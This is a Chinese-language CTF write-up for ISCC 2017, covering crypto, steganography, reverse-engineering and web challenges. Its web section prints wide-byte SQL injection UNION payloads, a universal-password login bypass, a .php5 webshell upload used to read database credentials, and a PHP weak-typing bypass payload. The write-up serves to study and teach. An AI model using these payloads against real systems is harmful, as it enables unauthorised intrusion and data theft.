IsccCTF WriteUp

在表哥的推荐下尝试了一下Iscc CTF,记录一下自己的答题过程。

Basic

Wheel Cipher

附件:Basic-01.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
加密表:
1: < ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2: < KPBELNACZDTRXMJQOYHGVSFUWI <
3: < BDMAIZVRNSJUWFHTEQGYXPLOCK <
4: < RPLNDVHGFCUKTEBSXQYIZMJWAO <
5: < IHFRLABEUOTSGJVDKCPMNZQWXY <
6: < AMKGHIWPNYCJBFZDRUSLOQXVET <
7: < GWTHSPYBXIZULVKMRAFDCEONJQ <
8: < NOZUTWDCVRJLXKISEFAPMYGHBQ <
9: < XPLTDSRFHENYVUBMCQWAOIKZGJ <
10: < UDNAJFBOWTGVRSCZQKELMXYIHP <
11: < MNBVCXZQWERTPOIUYALSKDJFHG <
12: < LVNCMXZPQOWEIURYTASBKJDFHG <
13: < JZQAWSXCDERFVBGTYHNUMKILOP <
密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6
密文为:NFQKSEVOQOFNP

根据题目找到资料:杰斐逊密码盘

处理加密表

1
2
3
4
5
6
7
8
9
10
11
12
13
2: < NACZDTRXMJQOYHGVSFUWIKPBEL <
3: < FHTEQGYXPLOCKBDMAIZVRNSJUW <
7: < QGWTHSPYBXIZULVKMRAFDCEONJ <
5: < KCPMNZQWXYIHFRLABEUOTSGJVD <
13: < SXCDERFVBGTYHNUMKILOPJZQAW <
12: < EIURYTASBKJDFHGLVNCMXZPQOW <
9: < VUBMCQWAOIKZGJXPLTDSRFHENY <
1: < OSFEZWAXJGDLUBVIQHKYPNTCRM <
8: < QNOZUTWDCVRJLXKISEFAPMYGHB <
10: < OWTGVRSCZQKELMXYIHPUDNAJFB <
4: < FCUKTEBSXQYIZMJWAORPLNDVHG <
11: < NBVCXZQWERTPOIUYALSKDJFHGM <
6: < PNYCJBFZDRUSLOQXVETAMKGHIW <

找有意义字符串

flag:FIREINTHEHOLE

你猜猜。。

附件:Basic-04.zip

打开附件中的txt,出现了一堆16进制的数字,看到头开的504B,猜测是压缩包。

用winhex储存为压缩包,发现里面含有一个加密的flag.txt,用工具暴力破解,得到zip密码为123456,打开txt得到flag。
flag:daczcasdqwdcsdzasd

公邮密码

附件:Basic-08.zip

解压得到加密zip和一个名为pw WINDoWsSEViCEss,15位,大小写都有,猜测培根密码。
解密得BIT,解压zip,得到txt内容为RmxhZzp7THkzMTkuaTVkMWYqaUN1bHQhfQ==
base64解密。
flag:Flag:{Ly319.i5d1f*iCult!}

神秘图片

附件:Basic-03.zip

得到一张png,放在binwalk中分析,发现还有一张png,提取出来

basic3

得到猪圈(共济会)密码的密文,按照百度百科解密即可

flag:goodluck

告诉你个秘密

附件:Basic-02.zip

给出了含有16进制数字的txt,16进制转ascii

1
2
cjV5RyBscDlJIEJqTSB0RmhC
VDZ1aCB5N2lKIFFzWiBiaE0g

base64解码:

1
2
r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM

键盘围起来的键:TONGYUAN
flag:TONGYUAN

PHP_encrypt_1

附件:Basic-09.zip

给出了密文fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=和php的加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

python解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import hashlib
s='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
s=base64.b64decode(s)
key=hashlib.md5('ISCC').hexdigest()
flag=''
char=''
x=0
l=len(s)
klen=len(key)
for i in range(0,l):
if(x==klen):
x=0
char=char+key[x]
x=x+1
for i in range(0,l):
if(ord(s[i])-ord(char[i])<0):
flag=flag+chr(ord(s[i])+128-ord(char[i]))
else:
flag=flag+chr(ord(s[i])-ord(char[i]))
print flag

二维码

附件:Basic-07.zip

一张二维码图片,先扫描得到The password of the router is our flag

直接改文件后缀名变成zip,解压,得到另一个加密的zip文件。

用zip爆破工具爆破,密码是20161114

解压,有一个cap文件和一个txt,txt内容为前四位是ISCC 后四位由大写字母和数字构成,用EWSA工具字典爆破。

python生成字典:

1
2
3
4
5
6
7
8
9
10
11
12
s= r'1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
ss='ISCC'
f=open('dic.txt','w')
for a in s:
for b in s:
for c in s:
for d in s:
ss=ss+a+b+c+d
f.write(ss)
f.write('\n')
ss='ISCC'
f.close()

用ESWA工具爆破得到flag:ISCC168A

Mobile

Misc

眼见非实

附件:Misc-02.zip

题目给出一个word文档,结果没办法用word打开,用ue查看,发现文件头是PK,直接解压。在文件夹中搜索flag关键字即可。

flag:flag{F1@g}

就在其中

附件:Misc-03.zip

题目给的pcapng用wireshark分析,在tcp协议中看到了PK开头的16进制,提取保存zip发现有key.txt,却提取失败。用binwalk直接提取全部,去掉看起来无用的部分,剩下了一个zip,zip中提取的key.txt,一个.key文件,key文件中存在rsa私钥。

利用openssl进行RSA加密解密

运用openssl解密
openssl rsautl -decrypt -inkey AC76.key -in key.txt -out 1.txt

打开生成的1.txt。

flag:haPPy_Use_0penSsI

很普通的Disco

附件:Misc-04.zip

一道mp3隐写题,用GoldWave打开,分析波形,转到最前面发现有一部分奇怪的波形。
misc4
将单声道波形提取出来,接近1的变成1,接近-1的变成0,得到二进制

11001101101100110000111001111111011101011101100001010111010101011001101110101110111011011101111001111110

二进制转ascii码

flag:flag{W0W*funny}

很普通的数独

附件:Misc-05.zip

解压出25个数独的图片,但是并不用做数独,将有数字的部分填充为黑色,没有数字保持白色,25个图,5*5构成一个二维码。
Misc5
扫描得base64Vm0xd1NtUXlWa1pPVldoVFlUSlNjRlJVVGtOamJGWnlWMjFHVlUxV1ZqTldNakZIWVcxS1IxTnNhRmhoTVZweVdWUkdXbVZHWkhOWGJGcHBWa1paZWxaclpEUmhNVXBYVW14V2FHVnFRVGs9

多次base64解码。

flag:flag{y0ud1any1s1}

Web

Web签到题,来和我换flag啊!

如题目所说,web的签到题,脑洞题。

查看源代码

1
2
3
4
5
6
<form name="flag" action="index.php" method="post">
<input type="hidden" name="hiddenflag" value="">
<input type="text" name="flag" value="Let's change flag">
</br>
<input type="submit" value="换FLAG!">
</form>

有一个隐藏的hiddenflag变量,直接在文本框输入f1ag,返回哼,就给我一个flag我才不和你换呢,看来hiddenflag也需要赋值,返回还不够诚意,不和你换FLAG,这里出了一个大写的FLAG,猜测这个也需要赋值,构造post参数hiddenflag=f1ag&flag=f1ag&FLAG=f1ag,返回这样才有诚意,flag给你吧!,但是页面并没有显示什么,burpsuite抓包,发现在http响应头中有了f1ag: {N0w_go1Odo!otherw3b}

WelcomeToMySQL

打开链接是一个文件上传的php,随便上传了一张图片,返回了上传路径upload/xxxx,并有一个提示hint:$servername,$username,$password,$db,$tb is set in ../base.php,那就试试上传shell吧,只要上传.php就会有js弹窗,%00等等绕过也没办法。

经表哥指点,有一种 php5 的神奇的php文件格式,上传通过,用C刀链接。找到base.php

1
2
3
4
5
6
7
<?php
$servername="localhost";
$username="iscc2017";
$password="iscc2017";
$db="flag";
$tb="flag";
?>

存放的应该是mysql的登录信息了,用C刀自带的数据库管理功能登陆,在数据库中找到flag。
Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}

where is your flag

用burpsuite抓包,发现网站的编码是gbk,显示******flag is in flag,访问flag.php,hint:thisisflag

网站的编码是gbk,猜测是宽字节注入。

在网站加上?id=2,字符串******flag is in flag消失了,确定了是sql注入。

报错:?id=1%df%27

查询列数:

1
2
?id=1%df%27 order by 1,2 --+ 正确
?id=1%df%27 order by 1,2,3 --+ 报错

查询数据库名:?id=1%df%27 union select 1,group_concat(schema_name) FROM information_schema.schemata --+ information_schema,web_robots

查询表名:?id=1%df%27 union select 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+ article,flag

查询列名:?id=1%df%27 union select 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() --+ id,content,id,thisisflag

出现了thisisflag,跟flag.php提示我们的一样,我们就去查这个字段。

查询字段:?id=1%df%27 union select 1,concat(thisisflag) FROM flag--+,返回Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation 'UNION',用union函数查询的时候,表的编码与网页的编码不同,无法输出。

利用hex()函数将输出的内容转化为16进制,再转化回来。
payload:?id=1%bf%27 union select 1,hex(concat(thisisflag)) From flag --+
得到16进制666C61673A7B34343162376661313631373330376265393633323236336134343937383731657D
flag:flag:{441b7fa1617307be9632263a4497871e}

我们一起来日站

打开题目,提示我们寻找网站后台。试过了一些简单的/admin/之类的都是404,经表哥提示,找到了robots.txt,访问得到

1
2
3
4
5
6
#
# robots.txt
#
User-agent: *
Disallow: /21232f297a57a5a743894a0e4a801fc3/
Disallow: /api

进入http://139.129.108.53:5090/web-04/21232f297a57a5a743894a0e4a801fc3/,提示寻找继续寻找admin page,这里直接admin.php就找到了后台。
用burpsuite抓包,发现存在sql漏洞
web4-1
运用万能密码'or 'a'='a (常用万能密码)
web4-2
Flag:{ar32wefafafqw325t4rqfcafas}

自相矛盾

php代码审计题,先看源代码,因为运行的代码只输出nope,看不出执行到了那一步,所以我改了一下在本地测试。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$flag="flag!!!!!!";
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['iscc']); #get方法读入iscc,json化。
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope1"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
#iscc中bar1对应的值不能为数字却要大于2016
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope2");
#bar2对应的值必须是5个元素的数组且bar2数组的0位必须也是数组。
$pos = array_search("nudt", $a["bar2"]);
$pos===false?die("nope3"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope4"):NULL;
}
#取数组的每一位与nudt比较,既要含有,又不能含有。
$v2=1;
}
}
#echo $v1," ",$v2;
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
#echo "1234";
eregi("3|1|c",$d.$c[0])?die("nope5"):NULL;
strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
echo $flag;
}
?>

主要知识是php的弱类型:当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。

bar1可以传入字符串格式,比较会强制转换。

{"bar1":"2017a"}

bar2传入5位数组且0位也要是数组,

array_search()

函数比较也是弱类型比较,intval(“nudt”)=0。

{"bar2":[[0],0,0,0,0]}

cat也是数组,不过cat[1]要与dog比较,dog需要含有isccctf2017eregi()可以用%00截断。

cat[0]=1&cat[1][]=1&dog=%00isccctf2017

web2

payload:?iscc={"bar1":"2019a","bar2":[[0],0,0,0,0]}&cat[0]=1&cat[1][]=1&dog=%00isccctf2017

得到flag:flag{sfklljljdstuaft}

Reverse

你猜

附件:Reverse02.zip

用ida打开,直接找到main,反编译。题目让找到三个string。

Re1-1

如果要输出good job,就要让sub_400646()返回0,sub_400755()返回1。进入这两个函数。

Re1-2

sub_400646()函数比较了输入字符串,一排vx就是用于比较的标准字符串,得到两个字符串l1nuxcrack

Re1-3

sub_400755()函数更简单,按照if语句条件可依次推出字符串,ILCF!

flag:flag{l1nux_crack_ILCF!}

文章:

1.http://www.tuicool.com/articles/2E3INnm